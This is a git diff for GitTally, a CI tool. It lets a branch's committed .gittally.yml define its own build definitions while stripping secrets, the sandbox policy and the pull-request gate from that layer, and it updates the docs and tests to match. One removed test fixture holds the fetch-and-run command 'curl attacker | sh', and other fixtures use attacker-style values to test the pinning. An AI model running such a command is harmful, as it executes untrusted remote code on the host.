diff --git a/.claude/skills/architecture/SKILL.md b/.claude/skills/architecture/SKILL.md index 68fd0eb..0f3942b 100644 --- a/.claude/skills/architecture/SKILL.md +++ b/.claude/skills/architecture/SKILL.md @@ -44,6 +44,8 @@ GitTally is configured by two YAML files, deep-merged by `ConfigLoader` (later w 1. `.gittally.yml` at the repo root — committed, shared team settings. 2. `.git/gittally/.gittally.yml` — not committed; machine-specific overrides and secrets (`git.account`, `git.token`). +On top of those comes the **branch layer**: the `.gittally.yml` committed on a branch, applied by `loadWithBranchLayer` (the watcher passes the content read via `git show`, `loadForWorktree` the file in the build worktree). A branch describes its own CI and wins over both layers — build settings and the whole `builds` section — so a configuration can be tried out on a branch without touching other branches' builds. `stripPinned` removes what is not a description of this branch's build: `git`, `server`, `gitea`, `executor`, `watcher`, the per-branch `requirePullRequest`, and `docker.enabled`/`docker.network`. + After merging, `branches.default` is merged into every other named branch entry as its fallback, then the result is bound to the `GitTallyConfig` data classes (`config/GitTallyConfig.kt`), which define the schema and all defaults. Three places must stay in sync when config keys change: the `GitTallyConfig` data classes, the commented templates generated by `InitCommand`, and the reference in `docs/configuration.md`. @@ -54,7 +56,7 @@ Three places must stay in sync when config keys change: the `GitTallyConfig` dat ## Build Execution -`BuildExecutor` runs builds asynchronously: up to `executor.maxConcurrent` branches concurrently (default 1), but never more than one build per branch at a time. Each branch builds in its own reusable git worktree at `.git/gittally/worktrees/` (`BranchWorkspaces`), checked out detached at the requested commit — the primary checkout is never used for builds. Status transitions are persisted via `BuildResultRepository` (JSON file under `.git/gittally/`), published to Gitea non-fatally, and emitted as `BuildStatusChangedEvent`s. Every run belongs to a named build definition (job, ADR 0007): the YAML `builds` section (pinned against the worktree layer, like the `executor` section holding `executor.maxConcurrent`) defines triggers (`onPush`, `atTimes`), branch selectors (`branches` globs, `activeWithin`), and build-setting overrides applied last over the merged branch config; the implicit `default` build (`onPush`, all branches) preserves the job-less behavior. `BuildResult.build` records the job; restart, retry, and startup recovery re-run by that name, resolving settings from the *current* config. `BuildResult.name` — the pool, `@` for non-default builds — keys everything display- and retention-side (repository grouping via `latestPerName`, retention pools, branches-view rows, permanent latest-green links), while `BuildResult.branch` keys everything git-side: origin lookups, gone-from-origin pruning, worktrees (every build runs in its branch's worktree, serialized per branch), and Gitea links/statuses. `branches.*.autoBuild` survives as a deprecated alias for a scheduled default-pool rebuild. Cancellation addresses a build by artifact key and terminates the whole process tree. Future code (watcher, server, UI) must not assume a single running build. +`BuildExecutor` runs builds asynchronously: up to `executor.maxConcurrent` branches concurrently (default 1), but never more than one build per branch at a time. Each branch builds in its own reusable git worktree at `.git/gittally/worktrees/` (`BranchWorkspaces`), checked out detached at the requested commit — the primary checkout is never used for builds. Status transitions are persisted via `BuildResultRepository` (JSON file under `.git/gittally/`), published to Gitea non-fatally, and emitted as `BuildStatusChangedEvent`s. Every run belongs to a named build definition (job, ADR 0007): the YAML `builds` section defines triggers (`onPush`, `atTimes`), branch selectors (`branches` globs, `activeWithin`), and build-setting overrides applied last over the merged branch config; the implicit `default` build (`onPush`, all branches) preserves the job-less behavior. Definitions are part of the branch layer — a branch may add and override its own, and they apply to that branch alone (its selectors are evaluated for it only) — while `executor.maxConcurrent` stays pinned. `BuildResult.build` records the job; restart, retry, and startup recovery re-run by that name, resolving settings from the *current* config. `BuildResult.name` — the pool, `@` for non-default builds — keys everything display- and retention-side (repository grouping via `latestPerName`, retention pools, branches-view rows, permanent latest-green links), while `BuildResult.branch` keys everything git-side: origin lookups, gone-from-origin pruning, worktrees (every build runs in its branch's worktree, serialized per branch), and Gitea links/statuses. `branches.*.autoBuild` survives as a deprecated alias for a scheduled default-pool rebuild. Cancellation addresses a build by artifact key and terminates the whole process tree. Future code (watcher, server, UI) must not assume a single running build. On context close (e.g. systemd SIGTERM), a `ContextClosedEvent` listener in `BuildExecutor` terminates the process trees of all executing builds and waits (bounded) until their results are persisted as INTERRUPTED — a shutdown is never recorded as FAILED. Builds still queued stay PENDING and start no process. Both are re-enqueued by the watcher's startup recovery; INTERRUPTED therefore publishes as Gitea state `pending`, not `failure` (`GiteaStateMapping`). @@ -62,7 +64,7 @@ The runtime is selected per branch behind the `BuildRunner` interface: `Dispatch ## Watcher -`Watcher` replaces the legacy blocking main loop with a non-blocking fixed-delay poll cycle: fetch origin, enqueue due branches (changed local, recent new origin, due auto-build slots) via `BuildExecutor`, then prune results, artifacts, and stale worktrees. Branches with `branches..requirePullRequest` are enqueued only while their head commit matches a pull-request head, detected without an API token by listing `refs/pull/*/head` via `git ls-remote` (lazily, at most once per poll cycle); manual `build` commands bypass this gate, and `watcher.pullRequestGate: false` disables it globally for plain-git origins without pull-request refs. Nothing is scheduled until `Watcher.start()` is called explicitly (server/watch mode) — CLI commands and tests never start the loop. "Already built" is tracked via the result repository, not by moving local branch refs. +`Watcher` replaces the legacy blocking main loop with a non-blocking fixed-delay poll cycle: fetch origin, enqueue due branches (changed local, recent new origin, due auto-build slots) via `BuildExecutor`, then prune results, artifacts, and stale worktrees. Branches with `branches..requirePullRequest` are enqueued only while their head commit matches a pull-request head, detected without an API token by listing `refs/pull/*/head` via `git ls-remote` (lazily, at most once per poll cycle); manual `build` commands bypass this gate, and `watcher.pullRequestGate: false` disables it globally for plain-git origins without pull-request refs. Which builds are due is decided per branch from that branch's own definitions (`definitionsFor`): the primary config with the branch's committed `.gittally.yml` merged on top, cached per branch by its head commit so the `git show` runs only when the branch moved, and falling back to the primary definitions when that config is unreadable. Nothing is scheduled until `Watcher.start()` is called explicitly (server/watch mode) — CLI commands and tests never start the loop. "Already built" is tracked via the result repository, not by moving local branch refs. After the enqueue decision — and only after it, because a local ref lagging behind origin *is* the change signal — the cycle fast-forwards the primary checkout's local branch refs to their origin counterparts (`watcher.fastForwardLocalRefs`, `GitService.fastForwardLocalBranches`), so build tools reading the shared `.git` from a worktree see the refs they expect; diverged or ahead branches are never touched. Auto-build slot state lives in `.git/gittally/auto-builds.json`; watcher health is exposed via `Watcher.state()`. ## System Metrics diff --git a/AGENTS.md b/AGENTS.md index 86adf2d..30beda3 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -38,7 +38,7 @@ All production code lives under `de.hoennig.gittally`, with sub-packages `comman - Nothing is scheduled during CLI runs or tests: the watcher poll loop and metrics sampling start only via an explicit `start()` in the `server` profile. - Builds run detached in worktrees under `.git/gittally/worktrees/`; the primary checkout is never used for builds; never assume a single running build. - When config keys change, three places must stay in sync: the `GitTallyConfig` data classes, the `InitCommand` templates, and `docs/configuration.md`. -- Build config is layered via `ConfigLoader.loadForWorktree`: the build worktree's `.gittally.yml` overrides `.git`/project for build-specific keys, but the pinned set — secrets/server-side sections (`git`, `gitea`, `server`) and the docker sandbox policy (`docker.enabled`, `docker.network`) — is stripped from the worktree layer and always comes from `.git`/primary. A branch must never be able to disable its container, change its network, or reach credentials via its committed config. +- A branch describes its own CI: its committed `.gittally.yml` is the branch layer (`ConfigLoader.loadWithBranchLayer`, used by the watcher per origin branch and by `loadForWorktree` at build time) and takes precedence over `.git`/project — including the whole `builds` section, so a new configuration can be tried out on a branch without affecting other branches. Only the pinned set is stripped from that layer: secrets (`git`), host/repository sections (`server`, `gitea`, `executor`, `watcher`), the docker sandbox policy (`docker.enabled`, `docker.network`), and the trust gate (`requirePullRequest`). A branch must never reach credentials, disable its container, change its network, raise global concurrency, or bypass its own pull-request gate; a branch's definitions apply to that branch alone. - Web UI: server-rendered Thymeleaf plus one hand-written `static/gittally.js` — no SPA framework, no frontend build pipeline; every fetch has a timeout and an explicit error badge; `UiFormats` and `gittally.js` must produce identical display formats. - Git and Docker access shells out to the CLIs (`GitCommandRunner`, `docker`) — no JGit, no Docker SDK. diff --git a/docs/adrs/0007-2026-08-28.build-definitions.md b/docs/adrs/0007-2026-08-28.build-definitions.md index 3163709..4fe1281 100644 --- a/docs/adrs/0007-2026-08-28.build-definitions.md +++ b/docs/adrs/0007-2026-08-28.build-definitions.md @@ -117,3 +117,9 @@ Top-level `builds` with `onPush`/`atTimes`, as specified above. Follow-up (2026-08-28): mixing the execution key `maxConcurrent` into the `builds` section as a reserved key proved confusing — it is not a build definition. The concurrency limit moved to `executor.maxConcurrent` (a new section for execution settings), without a compatibility alias, so the `builds` section holds build definitions only. + +Follow-up (2026-08-29): pinning the whole `builds` section against the branch layer was wrong and is reverted. +A branch's committed `.gittally.yml` describes that branch's CI, and a new `builds` configuration can only be tried out by committing it on a branch — pinned, it was neither effective at build time nor visible to the watcher, so the job silently did not exist. +The branch layer now carries `builds` too: the watcher reads each origin branch's committed config (`git show`, cached by head commit) to decide which of *that branch's* builds are due, and a branch's definitions are evaluated for that branch alone, so they can never trigger builds of another branch. +The pinned set is reduced to what does not describe this branch's build: secrets (`git`), the host/repository sections (`server`, `gitea`, `executor`, `watcher`), the sandbox policy (`docker.enabled`/`docker.network`), and the trust gate (`requirePullRequest`). +Letting a branch set its own `buildCommand` through a definition grants no new power — `branches.*.buildCommand` always allowed exactly that — whereas the sandbox and the gate decide whether untrusted branch code runs on the host at all, and therefore stay server-side. diff --git a/docs/configuration.md b/docs/configuration.md index 22a6c9f..094223f 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -8,29 +8,42 @@ GitTally is configured via YAML files. Settings are merged from several sources |--------------------------|----------------------------|------------------|----------------------------------------------| | Project config | `.gittally.yml` | Yes | Shared team settings | | Repo installation config | `.git/gittally/.gittally.yml` | No | Machine- or user-specific overrides, secrets | -| Build worktree config | `.gittally.yml` of the built commit | Yes | Per-branch build settings (build layer only) | +| Branch config | `.gittally.yml` committed on a branch | Yes | That branch's build settings and build definitions | The repo install config (`.git/gittally/.gittally.yml`) wins on any key present in both files. Typically used to set `git.token` and `git.account` without committing them. -### Per-branch build settings from the worktree +### The branch layer: a branch describes its own CI -When a branch builds, its build config is resolved with an extra layer: the `.gittally.yml` -committed on the branch being built (read from its build worktree) overrides the two layers -above, giving the precedence **worktree > repo install > project**. So a branch can change its -own `buildCommand`, `cleanCommand`, `artifactDirs`, log file names, and -`docker.image`/`dockerfile`/`context`/`env`. +The `.gittally.yml` committed on a branch is applied as a third layer on top of the two +above, giving the precedence **branch > repo install > project**. It takes precedence for +everything that describes how this branch is built: `buildCommand`, `cleanCommand`, +`artifactDirs`, log file names, `docker.image`/`dockerfile`/`context`/`env`, and the whole +`builds` section — its own definitions and its overrides of the definitions from the +project config. That is how a new configuration is tried out: change it on a branch, and +no other branch's builds are affected. -This layer applies **only** to the build itself. A pinned set is always taken from the repo -install/project config and can never be set from the worktree: +The branch layer is used in both places where it matters: the watcher reads the committed +config of each origin branch (via `git show`, only when the branch moved) to decide which +of *its* builds are due, and the build itself resolves its settings from the worktree of +the commit being built. -- secrets and server-side settings: the whole `git`, `gitea`, and `server` sections; -- the whole `builds` (build definitions) and `executor` sections; -- the container sandbox policy: `docker.enabled` and `docker.network`. +A branch's definitions apply to that branch alone. Their selectors are evaluated for it +only, so a definition committed on one branch can never trigger builds of another — even +when its `branches` selector names one. -This keeps a branch from disabling its own build container, changing its network mode, or -reaching credentials. Jobs and their triggers are server-side decisions made before a -build worktree exists, so the deprecated `autoBuild` schedules are read from the repo -install/project config as well. +A pinned set is always taken from the repo install/project config, because none of it +describes this branch's build: + +- secrets: the whole `git` section; +- host- and repository-side settings: the whole `server`, `gitea`, `executor`, and `watcher` sections; +- the container sandbox policy: `docker.enabled` and `docker.network`; +- the trust gate: `requirePullRequest`. + +This keeps a branch from reaching credentials, reporting statuses to another repository, +raising the global concurrency, disabling its own build container, changing its network +mode, or bypassing its own pull-request gate. Everything else is the branch's to decide — +it can already run any command through `buildCommand`. +The deprecated `autoBuild` schedules are read from the repo install/project config only. ## Inspect the Effective Config @@ -260,9 +273,10 @@ Both parts combine as an intersection. The `branches..requirePullRequest` gate stays a branch property and gates all watcher-triggered builds of that branch. Overrides: `buildCommand`, `cleanCommand`, `artifactDirs`, `stdoutLog`/`stderrLog`, and the docker image keys (`image`, `dockerfile`, `context`, `env`). -The effective settings of one build on one branch merge in this order: defaults → `branches.default` → `branches.` → the worktree's committed `.gittally.yml` → the build definition's overrides. +A definition has no `docker.enabled`/`docker.network` and no `requirePullRequest` — those are pinned branch properties, see [the branch layer](#the-branch-layer-a-branch-describes-its-own-ci). +The effective settings of one build on one branch merge in this order: defaults → `branches.default` → `branches.` → the branch's committed `.gittally.yml` → the build definition's overrides. Unset keys fall back; the definition wins last because it is the job. -The `builds` and `executor` sections are pinned: they always come from the repo install/project config, and the `.gittally.yml` committed on a branch can neither define jobs nor change the concurrency. +Definitions themselves are part of the branch layer: a branch may add its own and override those from the project config, for its own builds only. The implicit `default` build (`onPush: true`, all branches) preserves the behavior without any definitions; defining other builds does not disable it, `builds.default.onPush: false` does. The `default` build records under the plain branch name; every other build records under `@` with its own row in the branches view (sorted after its branch), its own `retentionPerBranch` count, latest status, and permanent latest-green artifact link. diff --git a/src/main/kotlin/de/hoennig/gittally/commands/InitCommand.kt b/src/main/kotlin/de/hoennig/gittally/commands/InitCommand.kt index e8b9c76..5dadccb 100644 --- a/src/main/kotlin/de/hoennig/gittally/commands/InitCommand.kt +++ b/src/main/kotlin/de/hoennig/gittally/commands/InitCommand.kt @@ -156,6 +156,8 @@ class InitCommand( maxConcurrent: 1 # Named build definitions (jobs) over the branches; every key names a build. + # A branch may add or override definitions in its own committed .gittally.yml — + # they then apply to that branch alone, so a new job can be tried out on a branch. builds: # Example definition — triggers (onPush/atTimes), branch selector # (branches/activeWithin), and overrides of the branch settings: diff --git a/src/main/kotlin/de/hoennig/gittally/config/ConfigLoader.kt b/src/main/kotlin/de/hoennig/gittally/config/ConfigLoader.kt index 2c33ccf..93ea1d1 100644 --- a/src/main/kotlin/de/hoennig/gittally/config/ConfigLoader.kt +++ b/src/main/kotlin/de/hoennig/gittally/config/ConfigLoader.kt @@ -23,28 +23,36 @@ class ConfigLoader { /** * Config for building a branch in [worktreeDir]: the worktree's `.gittally.yml` - * (the committed config of the branch being built) overrides the primary/`.git` - * config, giving the precedence worktree > `.git` > project. So a branch controls - * its own build settings (`buildCommand`, `cleanCommand`, `artifactDirs`, - * `docker.image`/`env`, …). - * - * The [pinned][stripPinned] keys are the exception: secrets (`git`), `gitea`/`server` - * settings, the whole `builds` section (job definitions and execution settings), and - * the docker sandbox policy (`docker.enabled`/`docker.network`) always come from - * `.git`/primary — a branch must never be able to disable its own container, change - * its network mode, redefine jobs, or reach the credentials. They are stripped from - * the worktree layer before it is merged, so a worktree cannot set them at all. - * - * With no worktree `.gittally.yml` this is identical to [load]. + * (the committed config of the branch being built) is applied as the branch layer, + * see [loadWithBranchLayer]. With no worktree `.gittally.yml` this is identical + * to [load]. */ fun loadForWorktree( workingDir: Path, worktreeDir: Path, - ): GitTallyConfig { - val primary = loadRaw(workingDir) - val worktree = stripPinned(loadFile(worktreeDir.resolve(".gittally.yml").toFile())) - return toConfig(deepMerge(primary, worktree)) - } + ): GitTallyConfig = toConfig(deepMerge(loadRaw(workingDir), stripPinned(loadFile(worktreeDir.resolve(".gittally.yml").toFile())))) + + /** + * The primary/`.git` config with the committed `.gittally.yml` of one branch + * ([branchConfigYaml], null or blank for a branch without one) merged on top: + * precedence branch > `.git` > project. A branch describes its own CI — build + * settings (`buildCommand`, `cleanCommand`, `artifactDirs`, `docker.image`/`env`, …) + * and its `builds` definitions — so a new configuration can be tried out on a + * branch without touching any other branch's builds. + * + * The [pinned][stripPinned] keys are the exception, and they are exactly the ones + * that are not a description of this branch's build: secrets (`git`), the host- and + * repository-side sections (`server`, `gitea`, `executor`), the docker sandbox policy + * (`docker.enabled`/`docker.network`), and the trust gate + * (`requirePullRequest`, which decides whether the branch is built at all). + * They are stripped from the branch layer before merging, so a branch can neither + * escape its container, nor bypass its own pull-request gate, nor raise the global + * concurrency, nor reach the credentials. + */ + fun loadWithBranchLayer( + workingDir: Path, + branchConfigYaml: String?, + ): GitTallyConfig = toConfig(deepMerge(loadRaw(workingDir), stripPinned(parseYaml(branchConfigYaml)))) private fun toConfig(raw: Map): GitTallyConfig { val config = @@ -57,27 +65,33 @@ class ConfigLoader { } /** - * Removes the keys a build worktree must never override: the secret/server-side - * top-level sections and the per-branch docker sandbox policy. See [loadForWorktree]. + * Removes the keys a branch must never override: the secret and host-side top-level + * sections, the per-branch trust gate, and the docker sandbox policy. + * See [loadWithBranchLayer]. */ @Suppress("UNCHECKED_CAST") - private fun stripPinned(worktree: Map): Map { - if (worktree.isEmpty()) { - return worktree + private fun stripPinned(branchLayer: Map): Map { + if (branchLayer.isEmpty()) { + return branchLayer } - val result = worktree.toMutableMap() + val result = branchLayer.toMutableMap() PINNED_TOP_LEVEL_KEYS.forEach { result.remove(it) } val branches = result["branches"] as? Map if (branches != null) { - result["branches"] = - branches.mapValues { (_, value) -> - val branch = value as? Map ?: return@mapValues value - val docker = branch["docker"] as? Map ?: return@mapValues branch - val strippedDocker = docker.toMutableMap().apply { PINNED_DOCKER_KEYS.forEach { remove(it) } } - branch.toMutableMap().apply { - if (strippedDocker.isEmpty()) remove("docker") else put("docker", strippedDocker) - } - } + result["branches"] = branches.mapValues { (_, value) -> stripPinnedBranchKeys(value) } + } + return result + } + + @Suppress("UNCHECKED_CAST") + private fun stripPinnedBranchKeys(value: Any?): Any? { + val branch = value as? Map ?: return value + val result = branch.toMutableMap() + PINNED_BRANCH_KEYS.forEach { result.remove(it) } + val docker = branch["docker"] as? Map + if (docker != null) { + val strippedDocker = docker.toMutableMap().apply { PINNED_DOCKER_KEYS.forEach { remove(it) } } + if (strippedDocker.isEmpty()) result.remove("docker") else result["docker"] = strippedDocker } return result } @@ -107,6 +121,13 @@ class ConfigLoader { return yaml.readValue(file, Map::class.java) as Map } + /** Parses a `.gittally.yml` read from git (not from disk); blank or null yields no layer. */ + private fun parseYaml(text: String?): Map { + if (text.isNullOrBlank()) return emptyMap() + @Suppress("UNCHECKED_CAST") + return yaml.readValue(text, Map::class.java) as? Map ?: emptyMap() + } + @Suppress("UNCHECKED_CAST") private fun mergeBranchDefaults(raw: Map): Map { val branches = raw["branches"] as? Map ?: return raw @@ -143,13 +164,23 @@ class ConfigLoader { companion object { /** - * Top-level sections a build worktree must never override: secrets, server-side - * settings, the build definitions, and the concurrency limit (a branch must not - * be able to redefine jobs or raise concurrency). + * Top-level sections a branch must never override, because none of them describes + * this branch's build: secrets (`git`), and the host- and repository-side settings + * (`server`, `gitea`, `executor`, `watcher`) — a branch must not be able to reach + * the credentials, report statuses to another repository, raise the global + * concurrency, or turn off the pull-request gate for the whole watcher. + * The `builds` section is deliberately *not* pinned: it describes what the branch + * builds, and a branch can already run any command via `branches.*.buildCommand`. */ - private val PINNED_TOP_LEVEL_KEYS = setOf("git", "gitea", "server", "builds", "executor") + private val PINNED_TOP_LEVEL_KEYS = setOf("git", "gitea", "server", "executor", "watcher") - /** Per-branch `docker` keys the worktree must never override: the sandbox policy. */ + /** + * Per-branch keys a branch must never override: the trust gate that decides + * whether the watcher builds this branch at all. + */ + private val PINNED_BRANCH_KEYS = setOf("requirePullRequest") + + /** Per-branch `docker` keys a branch must never override: the sandbox policy. */ private val PINNED_DOCKER_KEYS = setOf("enabled", "network") } } diff --git a/src/main/kotlin/de/hoennig/gittally/git/GitService.kt b/src/main/kotlin/de/hoennig/gittally/git/GitService.kt index f4b05f1..d7872fa 100644 --- a/src/main/kotlin/de/hoennig/gittally/git/GitService.kt +++ b/src/main/kotlin/de/hoennig/gittally/git/GitService.kt @@ -258,6 +258,19 @@ class GitService( return if (result.isSuccess) result.stdout.trim() else null } + /** + * The content of [path] as committed in [commit], or null when that commit has no + * such file — used to read a branch's committed `.gittally.yml` without a worktree. + */ + fun showFileAtCommit( + commit: String, + path: String, + workingDir: Path = Paths.get("."), + ): String? { + val result = runner.run(listOf("git", "show", "$commit:$path"), workingDir) + return if (result.isSuccess) result.stdout else null + } + fun headCommit(workingDir: Path = Paths.get(".")): String = runner .runOrThrow(listOf("git", "rev-parse", "HEAD"), workingDir) diff --git a/src/main/kotlin/de/hoennig/gittally/watcher/Watcher.kt b/src/main/kotlin/de/hoennig/gittally/watcher/Watcher.kt index 75a8ce6..0e10ccc 100644 --- a/src/main/kotlin/de/hoennig/gittally/watcher/Watcher.kt +++ b/src/main/kotlin/de/hoennig/gittally/watcher/Watcher.kt @@ -22,6 +22,7 @@ import java.time.Instant import java.time.LocalDate import java.time.LocalTime import java.time.ZoneOffset +import java.util.concurrent.ConcurrentHashMap import java.util.concurrent.Executors import java.util.concurrent.ScheduledExecutorService import java.util.concurrent.TimeUnit @@ -54,6 +55,9 @@ class Watcher( @Volatile private var warnedDeprecatedAutoBuild = false + /** Build definitions per branch, cached by the branch's head commit — see [definitionsFor]. */ + private val branchDefinitions = ConcurrentHashMap() + fun state(): WatcherState = state /** @@ -195,7 +199,8 @@ class Watcher( val pullRequestHeads = lazy { gitService.pullRequestHeads(workingDir) } // one for-each-ref per cycle at most, and only when a definition filters by activeWithin val headCommitTimes = lazy { gitService.originBranchCommitTimes(workingDir) } - val definitions = config.effectiveBuildDefinitions() + val heads = gitService.originBranchHeads(workingDir) + branchDefinitions.keys.retainAll(originBranches) val changedLocal = gitService .localBranches(workingDir) @@ -203,15 +208,61 @@ class Watcher( val newOrigin = gitService.newOriginBranches(DurationParser.parse(config.watcher.newBranchMaxAge), workingDir) val changed = (changedLocal + newOrigin).distinct() - for ((buildName, definition) in definitions.filterValues { it.onPush }) { - for (branch in changed.filter { selects(definition, it, headCommitTimes) }) { - startBuildIfDue(branch, allowSameCommit = false, config, pullRequestHeads, workingDir, buildName) + for (branch in changed) { + val onPush = definitionsFor(branch, heads[branch], workingDir).filterValues { it.onPush } + for ((buildName, definition) in onPush) { + if (selects(definition, branch, headCommitTimes)) { + startBuildIfDue(branch, allowSameCommit = false, config, pullRequestHeads, workingDir, buildName) + } } } - enqueueScheduledBuilds(definitions, config, originBranches, pullRequestHeads, headCommitTimes, workingDir) + enqueueScheduledBuilds(config, originBranches, heads, pullRequestHeads, headCommitTimes, workingDir) enqueueDeprecatedAutoBuilds(config, originBranches, pullRequestHeads, workingDir) } + /** + * The build definitions that apply to [branch]: the primary configuration with the + * branch's own committed `.gittally.yml` merged on top (the pinned keys stripped), + * so a new `builds` configuration can be tried out on a branch without touching any + * other branch's builds. A branch's definitions only ever apply to that branch — + * their selectors are evaluated for it alone, so a definition committed on one branch + * can never schedule builds of another. + * + * Cached per branch by its head commit, so the `git show` runs only when the branch + * moved. An unreadable branch config falls back to the primary definitions instead of + * failing the poll cycle. + */ + private fun definitionsFor( + branch: String, + headCommit: String?, + workingDir: Path, + ): Map { + val commit = headCommit ?: return configLoader.load(workingDir).effectiveBuildDefinitions() + branchDefinitions[branch]?.takeIf { it.commit == commit }?.let { return it.definitions } + val definitions = + try { + configLoader + .loadWithBranchLayer(workingDir, gitService.showFileAtCommit(commit, CONFIG_FILE, workingDir)) + .effectiveBuildDefinitions() + } catch (e: Exception) { + log.warn( + "ignoring the committed {} of branch {} at {}: {}", + CONFIG_FILE, + branch, + commit, + e.message ?: e.javaClass.simpleName, + ) + configLoader.load(workingDir).effectiveBuildDefinitions() + } + branchDefinitions[branch] = CachedDefinitions(commit, definitions) + return definitions + } + + private class CachedDefinitions( + val commit: String, + val definitions: Map, + ) + private fun selects( definition: BuildDefinition, branch: String, @@ -269,30 +320,30 @@ class Watcher( * the point of a scheduled build. */ private fun enqueueScheduledBuilds( - definitions: Map, config: GitTallyConfig, originBranches: Set, + heads: Map, pullRequestHeads: Lazy>, headCommitTimes: Lazy>, workingDir: Path, ) { - val scheduled = definitions.filterValues { it.atTimes.isNotEmpty() } - if (scheduled.isEmpty()) { - return - } - val autoBuildState = FileAutoBuildState(workingDir.resolve(AUTO_BUILDS_FILE)) + val autoBuildState = lazy { FileAutoBuildState(workingDir.resolve(AUTO_BUILDS_FILE)) } val now = clock.instant() val today = LocalDate.ofInstant(now, ZoneOffset.UTC) val timeOfDay = LocalTime.ofInstant(now, ZoneOffset.UTC) - for ((buildName, definition) in scheduled) { - val slot = AutoBuildSlots.latestDueSlot(definition.atTimes, timeOfDay) ?: continue - for (branch in originBranches.filter { selects(definition, it, headCommitTimes) }) { + for (branch in originBranches) { + val scheduled = definitionsFor(branch, heads[branch], workingDir).filterValues { it.atTimes.isNotEmpty() } + for ((buildName, definition) in scheduled) { + if (!selects(definition, branch, headCommitTimes)) { + continue + } + val slot = AutoBuildSlots.latestDueSlot(definition.atTimes, timeOfDay) ?: continue val pool = BuildDefinition.poolName(branch, buildName) - if (autoBuildState.isTriggered(pool, today, slot)) { + if (autoBuildState.value.isTriggered(pool, today, slot)) { continue } if (startBuildIfDue(branch, allowSameCommit = true, config, pullRequestHeads, workingDir, buildName)) { - autoBuildState.markTriggered(pool, today, slot) + autoBuildState.value.markTriggered(pool, today, slot) } } } @@ -395,5 +446,8 @@ class Watcher( companion object { /** Auto-build trigger state next to the build results (replaces legacy `auto-builds.tsv`). */ const val AUTO_BUILDS_FILE = ".git/gittally/auto-builds.json" + + /** The committed config read per branch for its build definitions. */ + const val CONFIG_FILE = ".gittally.yml" } } diff --git a/src/main/resources/templates/releases.html b/src/main/resources/templates/releases.html index 82810f2..504ce21 100644 --- a/src/main/resources/templates/releases.html +++ b/src/main/resources/templates/releases.html @@ -7,8 +7,19 @@
-

v0.9.15 — 2026-08-28

+

v0.9.15 — 2026-08-29

    +
  • The .gittally.yml committed on a branch now takes precedence for the + builds section as well — a branch can define its own build definitions + and override those from the project config. The watcher reads each origin branch's + committed configuration, so a new build definition takes effect by committing it on + a branch, without touching any other branch's builds. A branch's definitions apply + to that branch alone.
    • +
  • Pinned to the server side are only the keys that do not describe the branch's build: + secrets (git), the host and repository sections (server, + gitea, executor, watcher), the container sandbox + policy (docker.enabled, docker.network), and the + requirePullRequest gate.
  • Changed: the build concurrency limit moved from builds.maxConcurrent to executor.maxConcurrent (default 1, no compatibility alias) — the builds section now holds build definitions diff --git a/src/test/kotlin/de/hoennig/gittally/config/ConfigLoaderTest.kt b/src/test/kotlin/de/hoennig/gittally/config/ConfigLoaderTest.kt index eec2b8f..f27cebc 100644 --- a/src/test/kotlin/de/hoennig/gittally/config/ConfigLoaderTest.kt +++ b/src/test/kotlin/de/hoennig/gittally/config/ConfigLoaderTest.kt @@ -92,13 +92,45 @@ class ConfigLoaderTest : FunSpec() { loader.load(dir).effectiveBuildDefinitions()["default"] shouldBe BuildDefinition(onPush = false) } - test("a build worktree cannot redefine the builds section") { + test("a branch may redefine the builds section for its own builds") { val dir = Files.createTempDirectory("gittally-test") dir.resolve(".gittally.yml").toFile().writeText( + """ + builds: + pitest: + atTimes: ["01:00"] + buildCommand: ./gradlew piTestPartial + """.trimIndent(), + ) + val worktree = Files.createTempDirectory("gittally-test-worktree") + worktree.resolve(".gittally.yml").toFile().writeText( """ builds: pitest: buildCommand: ./gradlew piTestFull + experiment: + onPush: true + """.trimIndent(), + ) + + val config = loader.loadForWorktree(dir, worktree) + + // the branch layer merges into the definition instead of replacing it + config.buildDefinitions.getValue("pitest").buildCommand shouldBe "./gradlew piTestFull" + config.buildDefinitions.getValue("pitest").atTimes shouldBe listOf("01:00") + config.buildDefinitions.getValue("experiment").onPush shouldBe true + } + + test("a branch cannot raise the concurrency limit or reach the sandbox policy through a build definition") { + val dir = Files.createTempDirectory("gittally-test") + dir.resolve(".gittally.yml").toFile().writeText( + """ + branches: + default: + requirePullRequest: true + docker: + enabled: true + network: none """.trimIndent(), ) val worktree = Files.createTempDirectory("gittally-test-worktree") @@ -106,16 +138,36 @@ class ConfigLoaderTest : FunSpec() { """ executor: maxConcurrent: 99 + watcher: + pullRequestGate: false + branches: + default: + requirePullRequest: false builds: - pitest: - buildCommand: curl attacker | sh + default: + docker: + enabled: false + network: host """.trimIndent(), ) val config = loader.loadForWorktree(dir, worktree) + val branchConfig = config.branches.getValue("default") config.executor.maxConcurrent shouldBe 1 - config.buildDefinitions.getValue("pitest").buildCommand shouldBe "./gradlew piTestFull" + config.watcher.pullRequestGate shouldBe true + branchConfig.requirePullRequest shouldBe true + // a build definition has no enabled/network at all, so it cannot reintroduce them + config.buildDefinitions + .getValue("default") + .applyTo(branchConfig) + .docker + .enabled shouldBe true + config.buildDefinitions + .getValue("default") + .applyTo(branchConfig) + .docker + .network shouldBe "none" } test("repo install config overrides project config for same keys") { @@ -312,6 +364,54 @@ class ConfigLoaderTest : FunSpec() { config.branches["default"]!!.docker.image shouldBe "attacker-image" } + test("loadWithBranchLayer applies a branch config read from git, pinning the same keys") { + val dir = Files.createTempDirectory("gittally-test") + dir.resolve(".git/gittally").toFile().mkdirs() + dir.resolve(".git/gittally/.gittally.yml").toFile().writeText( + """ + git: + token: real-secret + branches: + default: + buildCommand: from-git + """.trimIndent(), + ) + + val config = + loader.loadWithBranchLayer( + dir, + """ + git: + token: stolen + builds: + pitest: + atTimes: ["03:00"] + buildCommand: ./gradlew piTestFull + branches: + default: + buildCommand: from-branch + """.trimIndent(), + ) + + config.git.token shouldBe "real-secret" + config.branches.getValue("default").buildCommand shouldBe "from-branch" + config.buildDefinitions.getValue("pitest").atTimes shouldBe listOf("03:00") + } + + test("loadWithBranchLayer without a branch config equals load") { + val dir = Files.createTempDirectory("gittally-test") + dir.resolve(".gittally.yml").toFile().writeText( + """ + branches: + default: + buildCommand: ./mvnw test + """.trimIndent(), + ) + + loader.loadWithBranchLayer(dir, null) shouldBe loader.load(dir) + loader.loadWithBranchLayer(dir, "") shouldBe loader.load(dir) + } + test("loadForWorktree without a worktree config equals load") { val dir = Files.createTempDirectory("gittally-test") dir.resolve(".gittally.yml").toFile().writeText( diff --git 